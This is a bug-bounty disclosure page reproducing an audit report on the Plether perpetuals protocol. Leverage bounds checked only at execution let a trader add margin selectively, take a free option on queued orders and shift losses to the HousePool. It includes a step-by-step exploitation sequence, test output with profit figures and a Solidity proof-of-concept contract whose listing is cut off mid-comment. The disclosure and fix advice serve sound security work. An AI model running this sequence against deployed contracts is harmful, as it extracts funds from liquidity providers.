Skip to content
Business logic Audit finding Advanced

Owner-mutable leverage checks allow selective execution of queued orders and LP losses

Order bounds such as maximum post-trade leverage are stored at commit but only evaluated at execution, so a trader can commit an order that currently violates its own bound and then decide whether to add margin before a keeper rejects it. By adding margin only when the fixed first-tick price has moved favourably, the trader gets a free option on queued orders and the HousePool absorbs the resulting losses.

Ox175 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#99664 [SC-Low] Owner-mutable leverage checks allow selective execution of queued orders and LP losses

Submitted on Nov 14th 2026 at 18:06:59 UTC by @Ox175 for Audit Competition | Plether

Description

Brief/Intro

A trader with an open position can commit a same-side increase that violates its own maxPostLeverageBps bound, and the Router accepts it. The order's price is fixed at the first oracle tick after the commit (PletherOracle.sol:596-640) and the order stays executable for up to 60 seconds. The trader watches later prices and calls addMargin only if that fixed price has become favourable. The added margin satisfies the bound and the increase fills at the original price. Without that call, every execution rejects the order and returns its margin. A partial close can be switched the same way, and a rejected close costs no bounty. Queued orders are documented as binding; these bind only when their owner wants them to, and profitable exercises extract funds from the HousePool.

Vulnerability Details

_commitOrder stores a request's financial bounds without evaluating them (router/OrderLiquidationBatchLogic.sol:214-268); the planner preview at commit only rejects CommitTimeRejectable codes (:404-454). At execution, _buildOpenAssessment computes post-trade leverage from the position's current margin and _enforceBounds reverts with ConstraintViolation when it exceeds maxPostLeverageBps (CfdOrderPolicyEvaluatorBase.sol:325-387, 490-540). The Router treats that as terminal, releases the order's margin, and returns the bounty to the account if it executed or pays it to the executor otherwise (OrderRouterExecutionSidecar.sol:879-893, OrderRouter.sol:314-343). Position margin can be raised at any time by CfdEngine.addMargin, which requires msg.sender == account (CfdEngine.sol:501-529).

SECURITY.md:658-659 states that "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options". Here a keeper can reject the unmodified order, which costs the trader the 0.2-token bounty, but cannot force a fill the trader does not want. In test 01, from one snapshot and with the same first post-commit tick: executed untouched, the order ends in ConstraintViolation (PostLeverage, 4,155,751 bps against the 2,000,000 limit) and the owner's wealth is unchanged; after a third party donates 100,000 tokens with depositFor, the result is identical, because free settlement is not part of the leverage calculation; after the owner calls addMargin(22,000), it executes at the same price. Self-rejection leaves sixteen ledger fields equal to never committing (test 03), and a second trader address can reject for free as well (test 02).

Partial closes are affected in the same way. A full close skips the two post-position checks, but for a partial close _enforceBounds tests the residual position's leverage and equity against current margin (CfdOrderPolicyEvaluatorBase.sol:439-471, 490-540), and close commitment evaluates neither. Pledge is released pro rata, so a maxPostLeverageBps ceiling below the position's present leverage, or a minPostPositionEquityAssets floor above the residual's equity, fails until the owner adds margin (C01 and C09; tests prefixed C are in the partial-close test file). Three things follow. A close reserves no bounty, so a keeper's rejection costs the holder no tokens, only gas (C08). The route works while the Router is paused and in close-only windows, when the increase cannot be committed (C06, C07); degraded mode was not tested. And it serves any existing position holder, with no new increase.

This differs from letting an open lapse at its deadline, which is reported separately. An ordinary open can be filled by any keeper, so that option exists only while nobody executes; a prompt keeper filling a LONG and SHORT pair costs the trader 42,807.05 tokens on the ticks used below (test 14). Here the same keeper costs 0.4 tokens and nothing fills. Pricing every fill at the less favourable of the first tick and a current tick, proposed there, would remove the demonstrated gain of both reports; deadline or bounty changes would not affect this one. SC-M4's first-tick correction is present and is not circumvented (test 12b). Remediation must cover increases and partial closes alike. Evaluate bounds at commit and reject violations on both paths, or assess them against margin recorded at commit, including for the residual of a partial close. Disallowing addMargin only while an open is pending leaves the close route exposed; any such restriction must also apply while a partial close is pending. Rerouting the bounty does not help: a second address collects it, and a close has none.

Impact Details

Test 07 replays the 2026-11-06 13:30 UTC data release with one LONG and one SHORT account. The two wallets go from 136,000 to 138,600.736609 tokens and the HousePool loses 5,679.629064; the treasury receives 3,071.081403 in fees and the keeper 7.811052, and the four changes sum to zero. The wallet figure is after base-position costs and nineteen earlier two-sided attempts that a keeper rejected (8.655265 tokens together). Gas is separate: 51 attacker transactions, roughly 8 to 27 USD at 0.03 to 0.1 gwei and an assumed 4,000 USD per ETH. The USD 8-27 estimate covers execution gas; mainnet L1 data fees are not measured. The replay is a reconstruction. Pool size is an assumed 20,000,000 tokens. EUR/USD and USD/JPY, 71% of the basket, are Pyth's own ticks; the other four feeds are modelled from a fit to authentic six-feed ticks. The exercised position carries market risk until its close fills.

Ordinary orders on the same ticks lose: the binding pair above loses 42,807.05 and an order committed after seeing the move loses 5,826.48, against +4,487.34 for the switch at the same valuation tick (test 14). On a favourable 25 bp path the switch and a binding order end within 0.21 tokens of each other (+13,060.64); on the unfavourable path the binding order loses 25,062.90 and the switch 3.14 (test 04). The advantage is entirely the avoided loss.

In the partial-close replay (C05: the same release, assumed pool and modelled feeds, a SHORT holder of 2,000,000 units), nineteen keeper-rejected attempts cost zero tokens. The holder finishes 2,589.018845 tokens better off than the same holder closing after observing the move, while HousePool receives 2,589.440097 fewer tokens. These are differences against the control: the holder's absolute result remains -1,621.158289 tokens. This is a separate measurement from the increase figures above; the two are not to be added together.

The increase replay's LONG leg stays profitable when the four modelled feeds are held still (+1,207.91), when their confidence is doubled (+2,105.14) and when the exit is delayed one to three seconds (+2,409.19 to +4,489.36) (test 15). On the 2026-08-07 release with modelled confidence doubled, the oracle rejects the close; it must expire and be recommitted, and the attack still nets +10,617.17 (test 16). Applied to 109 release windows from April to November 2026, the same pre-set rule fires ten times, eight profitably, for +52,705 tokens if the trader is always first. Whether the trader is first is not measured. The keeper's block delay comes from 320 executions on the public testnet deployment, the trader's own inclusion delay is an assumption, and a model combining them gives an expected +16,046 tokens at 0.3 seconds down to +2,592 at 2.1 seconds, positive in every sensitivity case tested. These model totals exclude failed-attempt bounties and gas; two open-order bounties per window total at most 43.6 tokens across 109 attempts. These are conditional estimates, not a production success rate. Break-even is a move of about 8.2 bp in the trader's favour, 8.8 to 10.6 bp around releases.

References

  • packages/perps/SECURITY.md:658-659, 719, 726-728: binding orders, no cancellation, constraint violations are terminal.
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:214-268, 404-454: commit stores bounds unevaluated.
  • packages/perps/src/CfdOrderPolicyEvaluatorBase.sol:325-387, 490-540: leverage computed from current margin; bound enforcement.
  • packages/perps/src/CfdOrderPolicyEvaluatorBase.sol:439-471; packages/perps/src/libraries/CloseAccountingLib.sol:96; packages/perps/src/router/OrderLiquidationBatchLogic.sol:316-318: residual checks on partial closes, pro-rata pledge release, open-only gates.
  • packages/perps/src/CfdEngine.sol:501-529: addMargin, owner-only.
  • packages/perps/src/OrderRouterExecutionSidecar.sol:879-893; packages/perps/src/OrderRouter.sol:314-343: terminal rejection and bounty settlement.
  • Keeper timing and six-feed ticks: public Arbitrum Sepolia v2.0.0 deployment. EUR/USD and USD/JPY release ticks: Pyth history API.

Proof of Concept

Proof of Concept

Exploitation sequence, all through public Router, Engine and Clearinghouse calls:

  1. Fund an attacker-owned account with 68,000 settlement tokens and open a small 1,100-unit LONG position with 10 tokens of margin. This makes addMargin available.
  2. Commit a same-side increase of 8,000,000 units with 45,000 tokens of reserved margin and maxPostLeverageBps = 2,000,000, a 200x limit. The order is accepted even though its uncured post-trade leverage exceeds that limit.
  3. Let the first eligible post-commit oracle tick fix the execution price. The order remains pending.
  4. Observe a later price off-chain. For this LONG example a falling basket is favourable. Apply the predetermined exercise rule (a favourable move of at least 8.5 bp) without using the future closing price.
  5. If favourable, act before a keeper rejects the order: atomically call addMargin(account, 22,000) and executeOrder with the first eligible tick. The added margin satisfies the leverage bound and the increase fills at that original price.
  6. Otherwise, execute without adding margin. Execution ends with ConstraintViolation, releasing the order margin and returning the bounty when the owner executes. If an independent keeper rejects first, the attempt costs the reserved 0.2-token bounty plus gas.
  7. After a successful fill, commit a close, execute it at its own first eligible tick, and withdraw. Measure complete trader wealth and HousePool changes after settlement.

To cover both directions, a second account holds a small SHORT and commits the opposite increase in the same way. Execution is first-in-first-out, so if the later order is the favoured one, the trader first rejects the earlier order by executing it unmodified, then exercises the later one (tests 07 and 09).

Partial-close route (test C05). A holder commits a partial close whose leverage ceiling is below the position's current leverage. Keepers can only reject it, at no token cost. After an adverse move the holder calls addMargin and executes the exit at the earlier first eligible tick.

Runnable test. Scoped revision a82d4fefb02768e5b3bddcc97dee371eee24fea8; all 125 scoped source files match scope/SHA256SUMS before and after the run, and no in-scope contract is modified. The only mocks are the settlement token and Pyth. Orders use the production commitOrder(OrderRequest) entrypoint and explicit MockPyth.FeedUpdate[] payloads with unique-tick semantics. Two out-of-scope release wrappers are mirrored (25% adverse-confidence multiplier, 1,000-token minimum notional). Price inputs are labelled in the source as synthetic shifts of the repository's signed six-feed fixture, or release ticks with two authentic and four modelled feeds. One file holds both routes: tests 01 to 16 are the increase, C01 to C09 the partial close. Numbering follows the full 28-test suite; the tests not cited in this report are left out for length and are available on request. Save the source below as packages/perps/test/perps/spec/oracle/OwnerSwitchCondensedPoC.t.sol and run:

Bash
forge test --offline -j 1 --root packages/perps --match-path test/perps/spec/oracle/OwnerSwitchCondensedPoC.t.sol -vv

Result excerpt (17 passed, 0 failed; token amounts in atoms, 6 decimals):

Text
[PASS] test_01_OwnerMarginAloneDecides()
  A post-trade leverage, no owner margin (bps): 4155751
  A declared maxPostLeverageBps: 2000000
[PASS] test_04_SwitchVersusBindingAndFreshOrders()
  favourable 25 bp, persists
     switch, absolute wealth change (atoms): 13060636178
     binding order (atoms): 13060431254
  unfavourable 25 bp
     switch, absolute wealth change (atoms): -3136217
     binding order (atoms): -25062903870
[PASS] test_07_AuthenticRelease_FullyAccounted()
  bases and 19 rejected two-sided attempts cost (atoms): 8655265
  end wallets (atoms): 138600736609
  NET, wallet to wallet (atoms): 2600736609
  HousePool change (atoms): -5679629064
  treasury change (atoms): 3071081403
  keeper bounties (atoms): 7811052
  attacker transactions: 51
  attacker gas (Forge units): 67354421
[PASS] test_08_BreakEvenMove()
  break-even favourable move (ppm): 824
[PASS] test_14_AuthenticPath_SwitchVersusBindingAndFresh()
  switch on both sides, absolute change (atoms): 4487339928
  binding LONG and SHORT (atoms): -42807047911
  fresh LONG after observation (atoms): -5826480959
[PASS] test_15_ReleaseReplaySensitivity()
  four feeds do not move: fires at R+3, closes at tick R+4 -> attacker (atoms): 1207909172
  confidence doubled: fires at R+2, closes at tick R+3 -> attacker (atoms): 2105140281
  exit 2 s later: fires at R+2, closes at tick R+5 -> attacker (atoms): 4489364229
  exit 3 s later: fires at R+2, closes at tick R+6 -> attacker (atoms): 2409190309
[PASS] test_16_RejectedCloseLifecycle()
  2026-08-07 confidence doubled: fires at R+3, closes at tick R+7 after 1 rejected close(s), expired and recommitted -> attacker (atoms): 10617165931
[PASS] test_C01_OwnerMarginAloneDecidesThePartialClose()
  A post-trade leverage, no owner margin (bps): 538478
  A declared maxPostLeverageBps: 376559
[PASS] test_C05_AuthenticRelease_FullyAccounted()
  NET, wallet to wallet (atoms): -1621158289
  HousePool change (atoms): 853050269
  net without any pending order (atoms): -4210177134
  difference attributable to the switch (atoms): 2589018845
  HousePool change without any pending order (atoms): 3442490366
(tests 02, 03, 09, 12b, C06, C07, C08 and C09 also pass; they print no logs)
Suite result: ok. 17 passed; 0 failed; 0 skipped
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {MockSettlementToken} from "../../../utils/MockSettlementToken.sol";
import {BasePerpTest} from "../../BasePerpTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {HousePoolRedemptionMathSidecar} from "@plether/perps/HousePoolRedemptionMathSidecar.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types as O} from "@plether/perps/OrderV3Types.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {TerminalNavBookV2} from "@plether/perps/TerminalNavBookV2.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IMarginClearinghouse} from "@plether/perps/interfaces/IMarginClearinghouse.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";

/// Mirrors the out-of-scope release wrapper: 25% adverse-confidence multiplier.
contract ReleaseParamOracle is PletherOracle {
  constructor(address engine_, address pool_, address pyth_, bytes32[] memory feedIds_, uint256[] memory quantities_, uint256[] memory basePrices_, bool[] memory inversions_)
    PletherOracle(engine_, pool_, pyth_, feedIds_, quantities_, basePrices_, inversions_)
  {
    adverseConfidenceMultiplierBps = 2500;
  }
}

interface IAddMargin {
  function addMargin(address account, uint256 amount) external;
}

/// Attacker-owned account contract: adds margin and executes in one transaction.
contract OwnerSwitchAccount {
  address immutable owner = msg.sender;
  OrderRouter immutable router;
  MarginClearinghouse immutable clearinghouse;

  constructor(OrderRouter router_, MarginClearinghouse clearinghouse_, IERC20 token_) {
    router = router_;
    clearinghouse = clearinghouse_;
    token_.approve(address(clearinghouse_), type(uint256).max);
  }

  modifier onlyOwner() {
    require(msg.sender == owner, "owner");
    _;
  }

  function deposit(uint256 amount) external onlyOwner { clearinghouse.deposit(address(this), amount); }

  function commit(O.OrderRequest calldata request) external onlyOwner returns (uint64) { return router.commitOrder(request); }

  function execute(uint64 orderId, bytes[] calldata data, address engine, uint256 addMarginAssets) external onlyOwner returns (O.ExecutionResult memory) {
    if (addMarginAssets != 0) IAddMargin(engine).addMargin(address(this), addMarginAssets);
    return router.executeOrder(orderId, data);
  }
}

/// Tests 01-16: increase route. Tests C01-C09: partial-close route. Amounts are atoms (6 decimals). Price inputs:
/// `_tick` = the repository's signed six-feed Pyth fixture with a synthetic shift; `_rel` = release ticks, EUR/USD
/// and USD/JPY authentic, four feeds modelled. Pool size (10M + 10M) is assumed.
contract OwnerSwitchCondensedPoC is BasePerpTest {
  O.TerminalReason constant FILLED = O.TerminalReason.Executed;
  O.TerminalReason constant REJECTED = O.TerminalReason.ConstraintViolation;
  CfdTypes.Side constant LONG = CfdTypes.Side.LONG;
  CfdTypes.Side constant SHORT = CfdTypes.Side.SHORT;

  uint256 constant POOL_SEED = 10_000_000e6;
  uint256 constant BOUND_CAPITAL = 68_000e6; // per attacker account
  uint256 constant TINY_BASE = 1100e18; // makes addMargin available
  uint256 constant BIG_INCREASE = 8_000_000e18;
  uint256 constant BIG_MARGIN = 45_000e6; // reserved with the increase
  uint256 constant CURE = 22_000e6; // addMargin that satisfies the bound
  uint32 constant BOUND = 2_000_000; // maxPostLeverageBps, 200x
  int256 constant RULE_PPM = 850; // exercise rule: favourable move >= 8.5 bp
  uint32 constant CLOSE_WINDOW = 2;
  uint256 constant INV_SIZE = 2_000_000e18; // partial-close route
  uint256 constant INV_MARGIN = 40_000e6;
  uint256 constant INV_CAPITAL = 120_000e6;
  uint256 constant RESIDUAL = 1100e18; // left open by the partial close

  MockPyth mockPyth;
  bytes32[] feedIds;
  uint256[] quantities;
  uint256[] basePrices;
  bool[] inversions;
  address alice = address(0xA11CE);
  address sybil = address(0x5B11);
  address keeper = address(0xBEE9);
  address trader = address(0x7AD3);
  address trader2 = address(0x7AD4);
  address holder = address(0xC105E);
  uint256 t0;
  uint256 T;
  uint256 gasMeter;
  uint256 txMeter;

  function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
    return CfdTypes.RiskParams({
      vpiFactor: 0.01e18, maxSkewRatio: 0.4e18, maintMarginBps: 10, initMarginBps: 20, fadMarginBps: 300,
      baseCarryBps: 500, minBountyAssets: 1e6, bountyBps: 10, keeperShareBps: 5000, protocolShareBps: 0
    });
  }

  function setUp() public override {
    settlementToken = new MockSettlementToken();
    mockPyth = new MockPyth();
    clearinghouse = new MarginClearinghouse(address(settlementToken));
    engine = _deployEngine(_riskParams());
    _syncEngineAdmin();
    engine.setTerminalNavBook(address(new TerminalNavBookV2(address(engine), uint32(engine.CAP_PRICE()))));
    pool = new HousePool(address(settlementToken), address(engine), address(new HousePoolRedemptionMathSidecar()));
    seniorVault = new TrancheVault(IERC20(address(settlementToken)), address(pool), true, "Plether Senior LP", "seniorAssets", 0, address(0));
    juniorVault = new TrancheVault(IERC20(address(settlementToken)), address(pool), false, "Plether Junior LP", "juniorAssets", 0, address(0));
    pool.setSeniorVault(address(seniorVault));
    pool.setJuniorVault(address(juniorVault));
    engine.setPool(address(pool));
    // Release basket: EUR, JPY, GBP, CAD, SEK, CHF.
    bytes32[6] memory ids = [
      bytes32(0xa995d00bb36a63cef7fd2c287dc105fc8f3d93779f062f09551b0af3e81ec30b),
      0xef2c98c804ba503c6a707e38be4dfbb16683775f195b091252bf24693042fd52,
      0x84c2dde9633d93d1bcad84e7dc41c9d56578b7ec52fabedc1f335d673df0a7c1,
      0x3112b03a41c910ed446852aacf67118cb1bec67b2cd0b9a214c58cc0eaa2ecca,
      0x8ccb376aa871517e807358d4e3cf0bc7fe4950474dbe6c9ffc21ef64e43fc676,
      0x0b1e3297e69f162877b577b0d6a47a0d63b2392bc8499e6540da4187a63e28f8
    ];
    uint256[6] memory weights = [uint256(576e15), 136e15, 119e15, 91e15, 42e15, 36e15];
    uint256[6] memory bases = [uint256(117_500_000), 638_000, 134_480_000, 72_880_000, 10_860_000, 126_100_000];
    for (uint256 i; i < 6; ++i) {
      feedIds.push(ids[i]);
      quantities.push(weights[i]);
      basePrices.push(bases[i]);
      inversions.push(i != 0 && i != 2);
    }
    engineLens = new CfdEngineLens(address(engine));
    pletherOracle = new ReleaseParamOracle(address(engine), address(pool), address(mockPyth), feedIds, quantities, basePrices, inversions);
    router = _deployLegacyOrderRouter(address(engine), address(engineLens), address(pool), address(pletherOracle));
    _syncRouterAdmin();
    engine.setOrderRouter(address(router));
    _bypassAllTimelocks();
    settlementToken.mint(address(this), POOL_SEED * 2);
    settlementToken.approve(address(pool), POOL_SEED * 2);
    pool.initializeSeedPosition(false, POOL_SEED, address(0x1999));
    pool.initializeSeedPosition(true, POOL_SEED, address(0x1999));
    pool.activateTrading();
    IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
    config.minOpenNotionalAssets = 1000e6;
    _setRouterConfig(config);
    // Release parameters in force.
    assertEq(router.minOpenNotionalAssets(), 1000e6);
    assertEq(pletherOracle.adverseConfidenceMultiplierBps(), 2500);
    assertEq(pletherOracle.basketMaxConfidenceRatioBps(), 10);
    assertEq(pletherOracle.orderSettlementWindow(), 15);
    assertEq(router.maxExecutionWindowSeconds(), 60);
    assertEq(engine.executionFeeBps(), 4);
    assertEq(router.maxOpenOrderExecutionBountyAssets(), 200_000);
    t0 = SETUP_TIMESTAMP + 7 days + 600;
    vm.warp(t0 - 60);
  }

  // ---- price inputs

  function _encode(uint256[6] memory price, uint256[6] memory conf, bool release, uint256 pt, uint256 prev) internal view returns (bytes[] memory data) {
    MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](6);
    for (uint256 i; i < 6; ++i) {
      int32 expo = !release ? int32(-8) : i == 1 ? int32(-3) : int32(-5);
      updates[i] = MockPyth.FeedUpdate(feedIds[i], MockPyth.MockPrice(int64(uint64(price[i])), uint64(conf[i]), expo, pt, prev));
    }
    data = new bytes[](1);
    data[0] = abi.encode(updates);
  }

  /// Signed fixture `arbitrum-sepolia.json` (prices and confidences at expo -8), basket shifted by `shiftPpm`.
  function _tick(int256 shiftPpm, uint256 pt, uint256 prev) internal view returns (bytes[] memory) {
    uint256[6] memory price = [uint256(114_356_000), 15_745_200_000, 133_353_000, 140_695_000, 986_491_000, 82_165_000];
    uint256 factor = uint256(int256(1e6) + shiftPpm);
    for (uint256 i; i < 6; ++i) {
      price[i] = inversions[i] ? (price[i] * 1e6) / factor : (price[i] * factor) / 1e6;
    }
    return _encode(price, [uint256(4000), 700_000, 4000, 4000, 86_000, 3000], false, pt, prev);
  }

  /// Release ticks: ev 0 = 2026-11-06 13:30:00 UTC, ev 2 = 2026-08-07 12:30:00 UTC. Row k is the tick of second R+k-1.
  /// Columns: six prices, six confidences (EUR, JPY, GBP, CAD, SEK, CHF; JPY expo -3, others -5). EUR and JPY are
  /// Pyth's ticks; the other four are modelled (`_relVar`).
  function _rel(uint8 ev, uint8 k) internal pure returns (uint256[6] memory price, uint256[6] memory conf) {
    uint32[12] memory row;
    if (ev == 0) {
      row = [
        [uint32(111643), 158356, 132343, 142614, 1002638, 83476, 7, 11, 17, 21, 503, 14],
        [uint32(111643), 158349, 132344, 142613, 1002633, 83476, 8, 12, 20, 24, 575, 16],
        [uint32(111644), 158349, 132345, 142612, 1002627, 83475, 9, 17, 22, 26, 647, 18],
        [uint32(111504), 158440, 132221, 142746, 1003567, 83554, 61, 91, 152, 180, 4392, 123],
        [uint32(111480), 158483, 132197, 142772, 1003747, 83569, 24, 107, 60, 71, 1729, 49],
        [uint32(111468), 158532, 132183, 142787, 1003857, 83578, 18, 35, 45, 53, 1297, 36],
        [uint32(111462), 158538, 132177, 142793, 1003899, 83581, 10, 35, 25, 29, 721, 20],
        [uint32(111484), 158473, 132201, 142767, 1003715, 83566, 25, 37, 62, 74, 1801, 51]
      ][k];
    } else {
      row = [
        [uint32(115286), 158348, 132346, 142611, 1002617, 83475, 8, 7, 19, 23, 557, 16],
        [uint32(115283), 158345, 132344, 142613, 1002633, 83476, 11, 15, 27, 31, 765, 22],
        [uint32(115283), 158347, 132344, 142613, 1002634, 83476, 11, 16, 27, 31, 765, 22],
        [uint32(115406), 158340, 132443, 142507, 1001885, 83414, 44, 187, 106, 125, 3056, 86],
        [uint32(115454), 158088, 132505, 142440, 1001418, 83375, 14, 36, 34, 40, 971, 27],
        [uint32(115531), 158009, 132573, 142366, 1000898, 83332, 59, 54, 142, 167, 4089, 115],
        [uint32(115545), 158005, 132585, 142354, 1000811, 83324, 46, 68, 111, 130, 3187, 90],
        [uint32(115540), 157969, 132584, 142354, 1000815, 83325, 11, 68, 27, 31, 762, 21],
        [uint32(115568), 157934, 132610, 142327, 1000622, 83309, 26, 56, 63, 74, 1801, 51],
        [uint32(115619), 157832, 132660, 142273, 1000243, 83277, 38, 154, 92, 108, 2630, 74]
      ][k];
    }
    for (uint256 i; i < 6; ++i) {
      price[i] = row[i];
      conf[i] = row[i + 6];
    }
  }

  function _relTick(uint8 ev, uint8 k, uint256 pt, uint256 prev) internal view returns (bytes[] memory) {
    (uint256[6] memory price, uint256[6] memory conf) = _rel(ev, k);
    return _encode(price, conf, true, pt, prev);
  }

  /// Model of the four other feeds: `othersPct` scales how far they follow EUR and JPY (100 = fitted), `confPct`
  /// scales their confidence (100 = 90th-percentile ratios).
  function _relVar(uint8 ev, uint8 k, uint256 othersPct, uint256 confPct) internal pure returns (uint256[6] memory price, uint256[6] memory conf) {
    (uint256[6] memory p, uint256[6] memory c) = _rel(ev, k);
    (uint256[6] memory origin,) = _rel(ev, 1);
    int256 rE = (int256(p[0]) - int256(origin[0])) * 1e12 / int256(origin[0]);
    int256 rJ = (int256(origin[1]) - int256(p[1])) * 1e12 / int256(p[1]);
    int256 g = (3566 * 5684 * rE + 2302 * 1404 * rJ) / 29_120_000 * int256(othersPct) / 100;
    uint256 up = uint256(int256(1e12) + g);
    price[0] = p[0];
    price[1] = p[1];
    price[2] = (132_344 * up + 5e11) / 1e12;
    price[3] = (142_613 * 1e12 + up / 2) / up;
    price[4] = (1_002_633 * 1e12 + up / 2) / up;
    price[5] = (83_476 * 1e12 + up / 2) / up;
    conf[0] = c[0];
    conf[1] = c[1];
    uint256[4] memory ratioTenths = [uint256(21), 23, 80, 27];
    for (uint256 i = 2; i < 6; ++i) {
      uint256 v = (price[i] * c[0] * ratioTenths[i - 2] * confPct + (p[0] * 500)) / (p[0] * 1000);
      conf[i] = v == 0 ? 1 : v;
    }
  }

  /// The oracle's basket arithmetic, checked against the oracle in test 15.
  function _basket(uint256[6] memory price, uint256[6] memory conf) internal view returns (uint256 basket, uint256 confidence) {
    for (uint256 i; i < 6; ++i) {
      uint256 expoDigits = i == 1 ? 3 : 5;
      uint256 denominator = basePrices[i] * 1e10;
      if (inversions[i]) {
        uint256 scaled = 10 ** (26 + expoDigits);
        uint256 weighted = ((scaled + price[i] / 2) / price[i]) / 1e18 * quantities[i] / denominator;
        uint256 lower = price[i] - conf[i];
        basket += weighted;
        confidence += ((scaled + lower / 2) / lower) / 1e18 * quantities[i] / denominator - weighted;
      } else {
        uint256 weighted = price[i] * 10 ** (8 - expoDigits) * quantities[i] / denominator;
        basket += weighted;
        confidence += weighted * conf[i] / price[i];
      }
    }
  }

  /// Basket the oracle reports for a tick; reverts if outside the confidence limit. State is restored.
  function _observe(bytes[] memory tick) internal returns (uint256 basket) {
    uint256 fork = vm.snapshotState();
    router.updateMarkPrice(tick);
    basket = engine.lastMarkPrice();
    vm.revertToState(fork);
  }

  function _seenPpm(bytes[] memory entryTick, bytes[] memory laterTick) internal returns (int256 ppm) {
    int256 entry = int256(_observe(entryTick));
    ppm = (int256(_observe(laterTick)) - entry) * 1e6 / entry;
    _log("basket move at tick R+2 against the first eligible tick R+1 (ppm)", ppm);
  }

  // ---- actions

  function _at(uint256 timestamp) internal {
    vm.warp(timestamp);
    vm.roll(vm.getBlockNumber() + 1);
  }

  function _mark(int256 shiftPpm, uint256 pt) internal { router.updateMarkPrice(_tick(shiftPpm, pt, pt - 1)); }

  /// Counts every non-kee

The original report as published on Immunefi, by Ox175. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the order's financial bounds are recorded at commit without evaluation and only enforced at execution against the position's current margin, which the owner can raise at any time.

Impact

The trader can selectively fill only profitable queued orders, and the replay shows the HousePool losing about 5,679 tokens while the two wallets gain about 2,600 tokens, though the figures are conditional estimates from a reconstruction with modelled feeds.

What the attacker needed

Funded attacker account; small existing position for addMargin; keeper does not reject first; favourable price move of about 8.5 bp

The fix

Bounds should be evaluated at commit and violations rejected on both the increase and partial-close paths, or assessed against margin recorded at commit, including for the residual of a partial close.

How it was found

  1. Fund an attacker-owned account and open a small position so that addMargin is available.
  2. Commit a same-side increase whose post-trade leverage exceeds the declared maximum.
  3. Let the first eligible post-commit oracle tick fix the execution price while the order stays pending.
  4. Watch later prices off-chain and apply a predetermined rule based on a favourable move.
  5. If favourable, atomically add margin and execute the order at the original price.
  6. If not favourable, execute without adding margin so the order is rejected and the margin released.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you place an order on this exchange, the system checks some limits only when the order is actually filled, not when you submit it. That means a trader can submit an order that would fail the check, wait to see how prices move, and then top up their account only if the trade looks good. If it looks bad, they simply let the order fail, so they never take the loss that a normal trader would.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Ox175

View all

3 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.